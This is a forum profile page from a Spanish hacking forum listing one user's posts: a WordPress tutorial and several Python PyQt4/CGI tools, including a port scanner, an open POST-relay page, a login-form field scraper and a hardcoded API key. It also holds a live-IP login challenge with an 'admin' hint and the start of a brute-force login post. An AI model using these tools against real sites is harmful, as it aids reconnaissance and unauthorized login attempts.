elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6
11  Programación / Desarrollo Web / [WordPress] ¿ Cómo añadir una entrada en WordPress 3.8.2 ? en: 9 Abril 2014, 03:42 am
Hola nuevamente! Una vez instalado WordPress en nuestro servidor, no queda más que empezar a darle vida al Blog añadiendo entradas (Publicaciones). Al grano...

Lo primero, debes ingresar en tu Panel de Administración (/wp-admin) , ahí encontrarás algo como esto

 Ahí, en el menú izquierdo encontrarás el enlace "Entradas" , al poner el mouse encima, te dará estas opciones
 
Una vez ahí dentro creo que el panel es muy intuitivo, por lo que hay cosas que no es necesario desarrollar. Contamos con opciones para personalizar el formato de la entrada que estamos agregando:



 Más abajo el panel nos da 2 posibilidades respecto a la Categoría de nuestra entrada:
  • Especificar la categoría de nuestra entrada, si no seleccionas alguna, por defecto quedará en "Sin categoría".
  • Añadir una nueva categoría.



Otra de las opciones que nos provee WordPress, es la posibilidad de añadir etiquetas a nuestra entrada. Es totalmente opcional ingresar algunas etiquetas, pero si lo recomiendan para ayudar al buscador interno a encontrar las cosas, por lo general son como las palabras claves.
 

 La imagen que añadas en esta sección será la que acompañe como recurso gráfico a la entrada.

Si tienes alguna duda respecto al funcionamiento de alguna función al añadir entradas, puedes hacer la pregunta respondiendo a esta entrada. Con gusto será respondida Puedes compartir esta entrada en Twitter

Fuente: http://miweb.in/como-anadir-una-entrada-en-wordpress-3-8-2/

Saludos, Javier.
12  Seguridad Informática / Desafíos - Wargames / ["Desafío"] Patrón. - 0x5d en: 1 Abril 2014, 05:47 am
Hola, muy buenos días.

Hace un rato hice un login tipo patrón de android (que visualmente no se asemeja mucho, pero bueeh), el que me parece muy seguro, su url es http://181.41.199.11/patron/ , quisiera proponer vulnerar el sistema para medir la fortaleza. Así posteriormente quizás poder desarrollarlo de forma grupal.

Pista: Usuario: admin

Saludos.
13  Sistemas Operativos / Windows / "Validar" Mi software en: 4 Noviembre 2013, 04:19 am
Hola, muy buenos días.

De antemano pedir disculpas si publico en la sección equivocada


Al grano... He creado una aplicación en PyQT4 , la cuál logré convertir a .exe mediante el ya popular py2exe.

¿ Cuál es el problema ?

Al dar un link de descarga y posteriormente ejecutar, dice Windows que la aplicación no es segura y pide confirmación
para su ejecución... Como podría yo solucionar ese tema y hacer que al descargar el programa, no diga que la app no es segura ?

El soft no es nada malicioso, de hecho es algo así como un buscador...

Saludos!
14  Programación / Scripting / [Código-PyQT4] IconFinder - JaAViEr | 0x5d en: 31 Octubre 2013, 12:01 pm
Hola, buen día !

Hoy navegando por la web "Daw-Labs", me topé con que el compañero WindHack creó una aplicación para buscar iconos en https://www.iconfinder.com . Intenté hacerlo igual visualmente, pero en PyQT4 (además me sirvió de práctica) espero os guste :

Código
  1. # -*- coding: utf-8 -*-
  2. # Autor: 0x5d | JaAViEr
  3. # Twitter: @0x5d
  4.  
  5. from PyQt4 import QtGui, QtCore, QtWebKit
  6. import sys
  7. import urllib
  8. import re
  9.  
  10. try:
  11.    _fromUtf8 = QtCore.QString.fromUtf8
  12. except AttributeError:
  13.    def _fromUtf8(s):
  14.        return s
  15.  
  16.  
  17. class programa(QtGui.QWidget):
  18.  
  19. def __init__(self, parent=None):
  20. QtGui.QWidget.__init__(self, parent)
  21. self.msg = QtGui.QMessageBox(self)
  22. self.msg.setWindowTitle(_fromUtf8("Información"))
  23. self.setWindowTitle(_fromUtf8('IconFinder PyQT4 Version | 0x5d'))
  24. self.resize(529, 440)
  25. self.input_busqueda = QtGui.QLineEdit(self)
  26. self.input_busqueda.setGeometry(10, 20, 371, 20)
  27. self.boton_buscar = QtGui.QPushButton("Buscar", self)
  28. self.boton_buscar.setGeometry(390, 10, 61, 41)
  29. self.boton_guardar = QtGui.QPushButton("Guardar", self)
  30. self.boton_guardar.setGeometry(455, 10, 61, 41)
  31. self.connect(self.boton_guardar, QtCore.SIGNAL("clicked()"), self.guardar)
  32. #TABLA ORDENADORA DE RESULTADOS
  33. self.tabla = QtGui.QTreeWidget(self)
  34. self.tabla.setGeometry(0, 195, 530, 246)
  35. self.tabla.headerItem().setText(0, "#")
  36. self.tabla.headerItem().setText(1, "Id.")
  37. self.tabla.headerItem().setText(2, _fromUtf8("Tamaño"))
  38. self.tabla.headerItem().setText(3, "Url")
  39. #FIN TABLA
  40. self.grupo_options = QtGui.QGroupBox(self)
  41. self.grupo_options.setGeometry(10, 47, 291, 101)
  42. self.icon_perpage_label = QtGui.QLabel(self.grupo_options)
  43. self.icon_perpage_label.setGeometry(20, 30, 90, 16)
  44. self.icons_perpage_spin = QtGui.QSpinBox(self.grupo_options)
  45. self.icons_perpage_spin.setGeometry(113, 27, 47, 22)
  46. self.icons_perpage_spin.setProperty("value", 20)
  47. self.minimum_size_label = QtGui.QLabel(self.grupo_options)
  48. self.minimum_size_label.setGeometry(20, 70, 100, 13)
  49. self.minimum_size_spin = QtGui.QSpinBox(self.grupo_options)
  50. self.minimum_size_spin.setMaximum(190)
  51. self.minimum_size_spin.setGeometry(113, 65, 47, 22)
  52. self.minimum_size_spin.setProperty("value", 16)
  53. self.maximum_size_label = QtGui.QLabel(self.grupo_options)
  54. self.maximum_size_label.setGeometry(170, 70, 70, 13)
  55. self.maximum_size_spin = QtGui.QSpinBox(self.grupo_options)
  56. self.maximum_size_spin.setGeometry(241, 67, 42, 22)
  57. self.maximum_size_spin.setMaximum(190)
  58. self.maximum_size_spin.setProperty("value", 40)
  59. self.grupo_preview = QtGui.QGroupBox(self)
  60. self.grupo_preview.setGeometry(320, 47, 201, 141)
  61. self.total_results_label = QtGui.QLabel(self)
  62. self.total_results_label.setGeometry(20, 145, 81, 21)
  63. self.total_results_label.setStyleSheet("font-weight: bold;")
  64. self.numero_results_label = QtGui.QLabel(self)
  65. self.numero_results_label.setGeometry(100, 145, 31, 21)
  66. self.numero_results_label.setStyleSheet("font-weight: bold;")
  67. self.viewing_page_label = QtGui.QLabel(self)
  68. self.viewing_page_label.setGeometry(132, 145, 91, 21)
  69. self.viewing_page_label.setStyleSheet("font-weight: bold;")
  70. self.number_vpage_label = QtGui.QLabel(self)
  71. self.number_vpage_label.setGeometry(190, 145, 51, 21)
  72. self.number_vpage_label.setStyleSheet("font-weight: bold;")
  73. self.go_page_label = QtGui.QLabel(_fromUtf8("Ir a página:"), self)
  74. self.go_page_label.setGeometry(20, 170, 71, 16)
  75. self.go_page_label.setStyleSheet("font-weight: bold;")
  76. self.go_page_spin = QtGui.QSpinBox(self)
  77. self.go_page_spin.setGeometry(89, 168, 42, 22)
  78.  
  79. self.grupo_options.setTitle("Opciones")
  80. self.icon_perpage_label.setText(_fromUtf8("Iconos por página:"))
  81. self.minimum_size_label.setText(_fromUtf8("Tamaño mínimo    :"))
  82. self.maximum_size_label.setText(_fromUtf8("Tam. máximo:"))
  83. self.grupo_preview.setTitle("Prevista")
  84. self.total_results_label.setText("Resultados:")
  85. self.numero_results_label.setText("0")
  86. self.viewing_page_label.setText(_fromUtf8("| Página:"))
  87. self.number_vpage_label.setText("0")
  88. self.connect(self.boton_buscar, QtCore.SIGNAL("clicked()"), self.buscar)
  89. self.connect(self.tabla, QtCore.SIGNAL('itemClicked(QTreeWidgetItem*, int)'), self.ver_link)
  90. self.preview = QtWebKit.QWebView(self.grupo_preview)
  91. self.preview.setGeometry(6, 16, 191, 115)
  92. #Twitter Logo
  93. # self.twitter = QtWebKit.QWebView(self)
  94. # self.twitter.setGeometry(280, 0, 121, 80)
  95. # self.twitter.setStyleSheet("background-color: transparent; ")
  96. # self.twitter.setHtml("<center><a href='#' onclick='window.open(\"http://www.google.cl\")'><img src='%s' width=53 height=53 border=0></a></center>" % ("https://cdn3.iconfinder.com/data/icons/follow-me/256/Twitter-64.png"))
  97. self.connect(self.input_busqueda, QtCore.SIGNAL("returnPressed()"), self.buscar)
  98. self.connect(self, QtCore.SIGNAL("closeEvent()"), self.close)
  99.  
  100. def guardar(self):
  101. archivo = QtGui.QFileDialog.getSaveFileName(self,
  102.                self.tr("Guardar Archivo"), ".")
  103. try:
  104. loader = urllib.urlopen(str(self.url)).read()
  105. file = open(archivo, "wb")
  106. file.write(loader)
  107. file.close()
  108. self.msg.setText(_fromUtf8("Tu archivo se guardó con éxito"))
  109. except:
  110. self.msg.setText(_fromUtf8("¡Tu archivo no se pudo guardar!"))
  111. pass
  112. self.msg.exec_()
  113. def ver_link(self, item, i):
  114. self.url = item.text(3)
  115. self.preview.setStyleSheet("background-color: transparent; ")
  116. self.preview.setHtml("<center><img src='%s'></center>" % self.url)
  117.  
  118. def buscar(self):
  119. self.tabla.clear()
  120. q = str(self.input_busqueda.text())
  121. icons_perpage = self.icons_perpage_spin.value()
  122. min_size = self.minimum_size_spin.value()
  123. max_size = self.maximum_size_spin.value()
  124. page = self.go_page_spin.value()
  125. url = urllib.urlopen("https://www.iconfinder.com/xml/search/?q=%s&c=%s&min=%s&max=%s&p=%s&api_key=4c5b276337af418894c87590412e4e39" % (q, icons_perpage, min_size, max_size, page)).read()
  126. x = url.split("<icon>")
  127. id = []
  128. size = []
  129. image = []
  130. for d in x:
  131. for idx in re.findall("<id>(.+?)<\/id>", d):
  132. id.append(idx)
  133. for sizex in re.findall("<size>(.+?)<\/size>", d):
  134. size.append(sizex)
  135. for imagex in re.findall("<image>(.+?)<\/image>", d):
  136. image.append(imagex)
  137. count = 1;
  138. for i, idx, sizex, imagex in zip(range(len(id)), id, size, image):
  139. exec("item_%s = QtGui.QTreeWidgetItem(self.tabla)"%i)
  140. self.tabla.topLevelItem(i).setText(0, str(count))
  141. self.tabla.topLevelItem(i).setText(1, str(idx))
  142. self.tabla.topLevelItem(i).setText(2, str(sizex))
  143. self.tabla.topLevelItem(i).setText(3, str(imagex))
  144. count += 1
  145. self.number_vpage_label.setText(str(page))
  146. self.numero_results_label.setText(str(count-1))
  147.  
  148. app = QtGui.QApplication(sys.argv)
  149. form = programa()
  150. form.show()
  151. app.exec_()
15  Programación / Scripting / [Código-PyQT4] Escaner de Puertos - JaAViEr | 0x5d en: 31 Octubre 2013, 04:59 am
Hola !

Luego de meses o quizás año sin tocar la librería QT4 de Python, hoy me quise re-encantar con dicha lib. Ya se me olvidó todo, a tal punto que tuve que re-leer el mismo tutorial que hice hace un tiempo, pero viendo algunos códigos viejos que hice, ya recordé algo :P...

(...) Sin embargo no traigo un graaaaaan código, solo es un Escaner de puertos, con algo de CSS :
Código
  1. # -*- coding: utf-8 -*-
  2. # self.setGeometry(X, Y, Width, Height)
  3.  
  4. from PyQt4 import QtGui, QtCore
  5. import sys
  6. import httplib
  7.  
  8. class programa(QtGui.QWidget):
  9.  
  10. def __init__(self, parent=None):
  11.  
  12. QtGui.QWidget.__init__(self, parent)
  13. self.setFixedSize(230, 110)
  14. self.setWindowTitle("Escaner de Puertos")
  15. self.setStyleSheet("background: #000;")
  16. # URL , LABEL URL
  17. self.url = QtGui.QLineEdit(self)
  18. self.url.setGeometry(27, 10, 200, 20)
  19. self.url.setStyleSheet("color: #fff; background: #000;")
  20. self.url_label = QtGui.QLabel("URL:", self)
  21. self.url_label.setStyleSheet("color: #fff;")
  22. self.url_label.setGeometry(3, 10, 25, 20)
  23. # PUERTO, LABEL PUERTO
  24. self.puerto = QtGui.QLineEdit(self)
  25. self.puerto.setGeometry(41, 35, 40, 20)
  26. self.puerto.setStyleSheet("color: #fff; font-weight: bold; background: #000;")
  27. self.puerto_label = QtGui.QLabel("Puerto:", self)
  28. self.puerto_label.setStyleSheet("color: #fff;")
  29. self.puerto_label.setGeometry(3, 36, 35, 20)
  30. # STATUS, LABEL STATUS
  31. self.status_label = QtGui.QLabel("Estado:", self)
  32. self.status_label.setStyleSheet("color: #fff;")
  33. self.status_label.setGeometry(3, 60, 50, 20)
  34. self.esperando = QtGui.QLabel("Esperando", self)
  35. self.esperando.setStyleSheet("color: red; font-weight: bold; background: #000;");
  36. self.esperando.setGeometry(44, 60, 100, 20)
  37. # BOTON
  38. self.boton = QtGui.QPushButton("Scan!", self)
  39. self.boton.setStyleSheet("color: #fff; background: #000; border: 2px solid #fff;")
  40. self.boton.setGeometry(3, 85, 225, 20)
  41. self.connect(self.boton, QtCore.SIGNAL("clicked()"), self.scan)
  42.  
  43. def scan(self):
  44. url = str(self.url.text())
  45. puerto = int(self.puerto.text())
  46. try:
  47. conn = httplib.HTTPConnection(url, puerto, timeout=2)
  48. BODY = "***filecontents***"
  49. conn.request("GET", "/", BODY)
  50. resp = conn.getresponse()
  51. if resp.status == 200:
  52. self.esperando.setStyleSheet("color: green; font-weight: bold")
  53. self.esperando.setText("%s Abierto" % puerto)
  54. conn.close()
  55. except:
  56. self.esperando.setStyleSheet("color: red; font-weight: bold")
  57. self.esperando.setText("%s Cerrado" % puerto)
  58. app = QtGui.QApplication(sys.argv)
  59. form = programa()
  60. form.show()
  61. app.exec_()
  62.  

Saludos !
16  Programación / Scripting / Ruby + GTK en: 2 Agosto 2013, 12:07 pm
Hola, buen día a todos.

Decidí incursionar en Ruby, pues vengo de Python y se me hizo fácil la migración, incluso encuentro más simple ruby en eso de las REGEX, en fin, voy al grano...

En PyQT4 cuando yo creaba un objeto, lo ubicaba según X e Y además le daba las dimensiones al objeto, todo estoy con objecto.setGeometry() , entonces mi duda es ...

¿ Cuál es el equivalente de setGeometry en Ruby GTK ?

Saludos, Javier.
17  Programación / Scripting / [Proyecto]PyDB - "Bases de Datos" fáciles en Python :: JaAViEr | 0x5d en: 23 Julio 2013, 14:35 pm
Hola, muy buenos días !

En esta oportunidad vengo a presentar un mini proyecto que estoy iniciando con mucho entusiasmo, espero algunas personas se animen y ayuden a expandir este módulo ! . Sin más preámbulos...


¿ Qué es PyDB ?

PyDB es un módulo que te ayudará a crear Bases de Datos a partir de archivos de texto, siempre y cuando estos archivos contengan una estructura legible para PyDB

¿ Dónde descargo el módulo ?

El enlace para descargar el módulo es PyDB - SourceForge
En el mismo README.txt está la documentación de cada función del PyDB, como se utilizan y los parámetros que le deben pasar a cada función.

Funciones :
  • Añadir valor. (En SQL -> INSERT INTO)
  • Eliminar valor. (En SQL -> DELETE FROM tabla WHERE columna=valor)
  • Actualizar valor (En SQL -> UPDATE)
  • Ver Tabla.
  • Consultar valor (En SQL -> SELECT campo FROM tabla)
  • Ver columnas de tabla .
¿ Cuál es la estrucutra de la Base de Datos ?

Base_Datos.Txt :
Código:
Tabla(columna1, columna2){ 
    columna1=Contenido columna1; columna2=Contenido columna2;
}
Personas(nombre, edad, correo){
    nombre=Javier Guajardo; edad=19; correo=javier.guajardo@vodale.com;
    nombre=Juan Andres; edad=25; correo=contacto@dominio.com;
}
Ejemplo de login con PyDB , disponible para la descarga en Ejemplo PyDB - SourceForge

Nota: Recuerda tener el módulo db.py en la misma carpeta de donde invocarás el archivo.

Espero sus más sinceras opiniones !

Saludos, Javier.
18  Programación / Scripting / Tools Python CGI + Source | JaAViEr::0x5d en: 24 Abril 2013, 15:55 pm
Hola, buen día damas y caballeros :P.

En esta ocasión vengo a mostrar el código de fuente de unas aplicaciones que pasé a Python CGI , para poder ejecutarlas en el servidor y no depender de una maquina con Python instalado...

Sin más preámbulos, los enlaces son los siguientes:
   Sus respectivos códigos de fuente...
De/Codificador Base64:
Código
  1. #!/usr/bin/python
  2. #Autor: 0x5d::JaAViEr
  3. #Twitter: @0x5d
  4. import cgi, os, base64
  5.  
  6. def form_inicial():
  7. form_html = '''
  8. <form action="" method="POST">
  9. <textarea name="content"></textarea><br />
  10. <select name="option">
  11. <option value="encode">Codificar</option>
  12. <option value="decode">Decodificar</option>
  13. </select><br />
  14. <input type="Submit" value="Enviar"><br />
  15. Creado bajo Python CGI.<br />
  16. Autor : JaAViEr (0x5d)
  17. </form>'''
  18. return base("De/Codificar Base64", form_html)
  19.  
  20. def base(title, content):
  21. code = '''
  22. <div class="ui-widget-content">
  23. <div class="ui-widget-header">%s</div>
  24. %s
  25. </div>
  26. '''%(title, content)
  27. return code
  28.  
  29. print "content-type:text/html\r\n\r\n"
  30.  
  31. print '''
  32. <title>De/Codificador Base64</title>
  33. <script src="http://code.jquery.com/jquery-latest.js"></script>
  34. <link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/cupertino/jquery-ui.css" />
  35. <script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
  36. <link rel="stylesheet" href="http://jqueryui.com/resources/demos/style.css" />
  37. <style>
  38. div {
  39. text-align:center;
  40. font-size:0.5cm;
  41. }
  42. input, select {
  43. height:0.7cm;
  44. font-size:0.4cm;
  45. }
  46. </style>
  47. '''
  48.  
  49. form = cgi.FieldStorage()
  50. opcion = form.getvalue("option")
  51. texto = form.getvalue("content")
  52. method = os.environ['REQUEST_METHOD']
  53. if method == "POST":
  54. if opcion:
  55. if opcion == "encode":
  56. print form_inicial()
  57. print base("Salida", "<textarea>"+cgi.escape(base64.b64encode(texto))+"</textarea>")
  58. elif opcion == "decode":
  59. print form_inicial()
  60. print base("Salida", "<textarea>"+cgi.escape(base64.b64decode(texto))+"</textarea>")
  61. else:
  62. print form_inicial()
  63. print base("Error", "Opción incorrecta")
  64. else:
  65. print form_inicial()
  66. print base("Error", "Por favor selecciona una opción")
  67. else:
  68. print form_inicial()
  69.  
  70.  
Cifrar Rot13 / Atbash:
Código
  1. #!/usr/bin/python
  2. #Autor: 11Sep
  3. #To CGI: 0x5d::JaAViEr
  4. #Twitter: @0x5d
  5. import cgi, os
  6.  
  7. def  formulario_inicial():
  8. form_html = '''
  9. <form action="" method="POST">
  10. Data: <br/>
  11. <textarea name="contenido"></textarea><br />
  12. <select name="opcion">
  13. <option value="rot13">ROT13</option>
  14. <option value="atbash">Atbash</option>
  15. </select><br />
  16. <input type="Submit"><br/>
  17. Programado por <b>11Sep</b><br />
  18. Programado en CGI por <b>JaAViEr::0x5d</b>
  19. </form>
  20. '''
  21. return base("Cifrar Rot13/Atbash", form_html)
  22.  
  23. def base(title, content):
  24. code = '''
  25. <div class="ui-widget-content">
  26. <div class="ui-widget-header">%s</div>
  27. %s
  28. </div>
  29. '''%(title, content)
  30. return code
  31.  
  32. def rot13(palabra):
  33.    Cifrado = ''
  34.    for i in palabra:
  35.        buff = ord(i)
  36.        if (buff >= 65 and buff <= 90) or (buff >= 97 and buff <= 122):
  37.            if ((buff + 13 > 90 and buff + 13 <= 103) or (buff + 13 > 122 and buff + 13 <= 135)):
  38.                Cifrado += chr(buff -13)
  39.            else:
  40.                Cifrado += chr(buff + 13)
  41.    return Cifrado
  42.  
  43. def atbash(palabra):
  44.    V1 = "abcdefghijklm"
  45.    V2 = "zyxwvutsrqpon"
  46.  
  47.    Buff = ""
  48.  
  49.    for i in range(len(palabra)):
  50.        for a in range(len(V1)):
  51.            if V1[a] == palabra[i]:
  52.                Buff += V2[a]
  53.            elif V2[a] == palabra[i]:
  54.                Buff += V1[a]
  55.    return Buff
  56.  
  57. print "content-type:text/html\r\n\r\n"
  58. print '''
  59. <title>Cifrar Rot13/Atbash 11Sep::JaAViEr</title>
  60. <script src="http://code.jquery.com/jquery-latest.js"></script>
  61. <link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/blitzer/jquery-ui.css" />
  62. <script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
  63. <link rel="stylesheet" href="http://jqueryui.com/resources/demos/style.css" />
  64. <style>
  65. div {
  66. text-align:center;
  67. font-size:0.5cm;
  68. }
  69. input, select {
  70. height:0.7cm;
  71. font-size:0.4cm;
  72. }
  73. </style>
  74. '''
  75. form = cgi.FieldStorage()
  76. method = os.environ['REQUEST_METHOD']
  77. contenido = form.getvalue("contenido")
  78. opcion = form.getvalue("opcion")
  79. if method == "POST":
  80. if opcion:
  81. if opcion == "rot13":
  82. print formulario_inicial()
  83. print base("Salida", "<textarea>"+rot13(contenido)+"</textarea>")
  84. elif opcion == "atbash":
  85. print formulario_inicial()
  86. print base("Salida", "<textarea>"+atbash(contenido)+"</textarea>")
  87. else:
  88. print formulario_inicial()
  89. print base("ERROR","Opción inválida")
  90. else:
  91. print formulario_inicial()
Enviar peticiones POST:
Código
  1. #!/usr/bin/python
  2. #Autor: 0x5d::JaAViEr
  3. #Twitter: @0x5d
  4. import cgi, os, urllib, sys
  5.  
  6. def base(title, content):
  7. code = '''
  8. <div class="ui-widget-content">
  9. <div class="ui-widget-header">%s</div>
  10. %s
  11. </div>
  12. '''%(title, content)
  13. return code
  14.  
  15. print "content-type:text/html\r\n\r\n"
  16. print '''
  17. <title>Enviar datos POST online :: JaAViEr(0x5d)</title>
  18. <script src="http://code.jquery.com/jquery-latest.js"></script>
  19. <link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/cupertino/jquery-ui.css" />
  20. <script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
  21. <link rel="stylesheet" href="http://jqueryui.com/resources/demos/style.css" />
  22. <style>
  23. div {
  24. text-align:center;
  25. font-size:0.5cm;
  26. }
  27. input, select {
  28. height:0.7cm;
  29. font-size:0.4cm;
  30. }
  31. </style>
  32. '''
  33. form = cgi.FieldStorage()
  34. method = os.environ['REQUEST_METHOD']
  35. campos = form.getvalue("campos")
  36. valores = form.getvalue("valores")
  37. url = form.getvalue("url")
  38. if method == "POST":
  39. dic = {}
  40. if not "http://" in url:
  41.  print base("ERROR!","No se puede conectar a %s<br/><a href='send_post.py'>Volver</a>"%cgi.escape(url))
  42.  sys.exit(1)
  43. if len(campos)>0 and len(valores)>0:
  44. for d,i in zip(campos.split(),valores.split(":-:")):
  45. dic['%s'%d] = i
  46. try:
  47. print urllib.urlopen(url, urllib.urlencode(dic)).read()
  48. except:
  49. print "No se puede conectar a", cgi.escape(url)
  50. else:
  51. form_html = '''
  52. <form action="" method="POST">
  53. URL: <input type="Text" name="url" value="http://"><br />
  54. Campos (separados por un espacio): <input type="Text" name="campos"><br />
  55. Campos (separados por ":-:"): <input type="Text" name="valores"><br />
  56. <input type="Submit"><br/>
  57. Funcionando bajo Python CGI<br />
  58. Author: <u>JaAViEr::0x5d</u>
  59. </form>
  60. '''
  61. print base("ENVIAR DATOS POR POST", form_html)
  62. form_example = '''
  63. URL: <input type="Text" name="url" value="http://web.com/login.php" disabled><br />
  64. Campos (separados por un espacio): <input type="Text" name="campos" value="user password" disabled><br />
  65. Campos (separados por ":-:"): <input type="Text" name="valores" value="0x5d:-:miclave123" disabled><br />
  66. <input type="Submit" onclick=alert("TEST");><br/>
  67. '''
  68. print base("Ejemplo de uso", form_example)

Fuente: http://www.vodale.com/blog/tools-python-cgi-source-jaavier0x5d/
   
Saludos , Javier.
19  Programación / Scripting / [Código-Python]Extractor de formularios+sus propiedades+Inputs - JaAViEr (0x5d) en: 21 Marzo 2013, 16:59 pm
Hola, muy buen día a todos.

Volviendo a las canchas con Python, os traigo un detector de formularios, con las siguientes características :
  • Lee las urls dentro de un archivo de texto. Separando las url's por un ENTER
  • El programa detecta todos los formularios de las webs
  • Nos entregará propiedades del <form> , tipo "method", "name", "id", "onsubmit", etc
  • Devuelve los campos input de cada formulario, junto a sus propiedades, tipo "name", "value", "type", "id", "class", etc
Sin más preámbulos... El código :
Código
  1. # Autor : 0x5d - JaAViEr
  2. # Twitter : @0x5d
  3. import sys, urllib2, re
  4. try:
  5. urls = open(raw_input("Archivo ::> "), "r")
  6. except:
  7. print "Error al intentar abrir el archivo."
  8. sys.exit(1)
  9. for a in urls:
  10. web = urllib2.urlopen(a).read()
  11. busca_form = re.findall("<form(.*)>", web)
  12. for b in busca_form:
  13. url_action = re.findall("action=(.*)", b)[0].split()[0].translate(None, "><\"'").replace("&amp;","&")
  14. if len(url_action) == 0:
  15. url_action = a.replace("&amp;","&")
  16. print "\n\nURL:", url_action
  17. print "\nPropiedades del <form>:"
  18. formularios = web.split("<form")
  19. f = 0
  20. for c, d  in zip(b.split(), formularios):
  21. propiedades = re.findall("(.*)=\"(.*)\"", c)
  22. if propiedades and not "action" in propiedades[0][0]:
  23. print propiedades[0][0], ":", propiedades[0][1]
  24. inputs = re.findall("<input(.*)", web.split("<form")[f].split("</form>")[0])
  25. f += 1
  26. print "-"*20
  27. for g in inputs:
  28. print "<INPUT>:"
  29. for h in g.split():
  30. propiedades_input = re.findall("(.*)=(.*)", h)
  31. if propiedades_input and len(propiedades_input[0][0])>0:
  32. print propiedades_input[0][0], ":", propiedades_input[0][1].split(">")[0]
  33. print "-"*20
  34.  
  35.  
Ejemplo de archivo urls.txt:
Código
  1. http://www.vodale.com/chat_xxx/login.php
  2.  
Ojo que pueden poner muchas url's hacia abajo :P
Salida:
Código
  1. Archivo ::> urls.txt
  2.  
  3.  
  4. URL: http://www.vodale.com/chat_xxx/login.php
  5.  
  6. Propiedades del <form>:
  7. method : POST
  8. --------------------
  9. <INPUT>:
  10. type : "text"
  11. --------------------
  12. name : "log"
  13. --------------------
  14. <INPUT>:
  15. type : "text"
  16. --------------------
  17. name : pwd
  18. --------------------
  19. <INPUT>:
  20. type : "Submit"
  21. --------------------
  22. value : "Login"
  23. --------------------
  24.  
Como ven, dice <INPUT> y abajo la propiedad de cada input.
Un ejemplo con la salida de un SMF...
urls.txt
Código
  1. http://www.portalhacker.net/index.php?action=login
  2.  
Salida:
Código
  1.  
  2. Archivo ::> urls.rxr
  3.  
  4.  
  5. URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=login2
  6.  
  7. Propiedades del <form>:
  8. id : guest_form
  9. method : post
  10. accept-charset : UTF-8
  11. --------------------
  12. <INPUT>:
  13. type : "text"
  14. --------------------
  15. name : "user"
  16. --------------------
  17. size : "20"
  18. --------------------
  19. value : ""
  20. --------------------
  21. class : "input_text"
  22. --------------------
  23. <INPUT>:
  24. type : "password"
  25. --------------------
  26. name : "passwrd"
  27. --------------------
  28. value : ""
  29. --------------------
  30. size : "20"
  31. --------------------
  32. class : "input_password"
  33. --------------------
  34. <INPUT>:
  35. type : "text"
  36. --------------------
  37. name : "cookielength"
  38. --------------------
  39. size : "4"
  40. --------------------
  41. maxlength : "4"
  42. --------------------
  43. value : "90000"
  44. --------------------
  45. class : "input_text"
  46. --------------------
  47. <INPUT>:
  48. type : "checkbox"
  49. --------------------
  50. name : "cookieneverexp"
  51. --------------------
  52. class : "input_check"
  53. --------------------
  54. onclick : "this.form.cookielength.disabled
  55. --------------------
  56. <INPUT>:
  57. type : "submit"
  58. --------------------
  59. value : "Ingresar"
  60. --------------------
  61. class : "button_submit"
  62. --------------------
  63. <INPUT>:
  64. type : "hidden"
  65. --------------------
  66. name : "hash_passwrd"
  67. --------------------
  68. value : ""
  69. --------------------
  70.  
  71.  
  72. URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=search2
  73.  
  74. Propiedades del <form>:
  75. method : post
  76. accept-charset : UTF-8
  77. --------------------
  78. <INPUT>:
  79. type : "text"
  80. --------------------
  81. name : "search"
  82. --------------------
  83. class : "inputbox"
  84. --------------------
  85. value : "Buscar..."
  86. --------------------
  87. onfocus : "this.value
  88. --------------------
  89. onblur="if(this.value= : '')
  90. --------------------
  91. this.value : 'Buscar...';"
  92. --------------------
  93. <INPUT>:
  94. type : "hidden"
  95. --------------------
  96. name : "advanced"
  97. --------------------
  98. value : "0"
  99. --------------------
  100.  
  101.  
  102. URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=login2
  103.  
  104. Propiedades del <form>:
  105. name : frmLogin
  106. id : frmLogin
  107. method : post
  108. --------------------
  109. <INPUT>:
  110. type : "text"
  111. --------------------
  112. name : "user"
  113. --------------------
  114. size : "20"
  115. --------------------
  116. value : ""
  117. --------------------
  118. class : "input_text"
  119. --------------------
  120. <INPUT>:
  121. type : "password"
  122. --------------------
  123. name : "passwrd"
  124. --------------------
  125. value : ""
  126. --------------------
  127. size : "20"
  128. --------------------
  129. class : "input_password"
  130. --------------------
  131. <INPUT>:
  132. type : "text"
  133. --------------------
  134. name : "cookielength"
  135. --------------------
  136. size : "4"
  137. --------------------
  138. maxlength : "4"
  139. --------------------
  140. value : "90000"
  141. --------------------
  142. class : "input_text"
  143. --------------------
  144. <INPUT>:
  145. type : "checkbox"
  146. --------------------
  147. name : "cookieneverexp"
  148. --------------------
  149. class : "input_check"
  150. --------------------
  151. onclick : "this.form.cookielength.disabled
  152. --------------------
  153. <INPUT>:
  154. type : "submit"
  155. --------------------
  156. value : "Ingresar"
  157. --------------------
  158. class : "button_submit"
  159. --------------------
  160. <INPUT>:
  161. type : "hidden"
  162. --------------------
  163. name : "hash_passwrd"
  164. --------------------
  165. value : ""
  166. --------------------
  167.  
Ahí se aprecia mejor la salida de las propiedades del <form> ;D

Lo hice con un poco de inspiración :D , sé que nadie va a comentar , pero igual lo dejo por acá , quizás a alguien le llegue a servir el bichito ;D

Saludos , Javier.
20  Programación / Scripting / [Código-Python]Bruteforce logins - JaAViEr (0000x5d) en: 20 Marzo 2013, 21:31 pm
¡ Hola, buen día !

  Hace meses que no programaba, entre viajes, no había donde ni como programar... Y hoy por la mañana me entusiasmé y me puse a codear un BruteForce para algunos formularios que son "débiles". El funcionamiento es el típico ... Solo que tiene algo que lo hace un poco (por no decir "NADA") diferente. Le añadí la opción de extraer tokens que usualmente utilizan para seguridad anti-bots (lo que deja demostrado que siguen siendo inútiles los tokens :P). Sin más preámbulos, os enseñaré como utilizarlo .

Al correr el Python en cuestión , nos dirá "Se necesita token ?(s/n): "
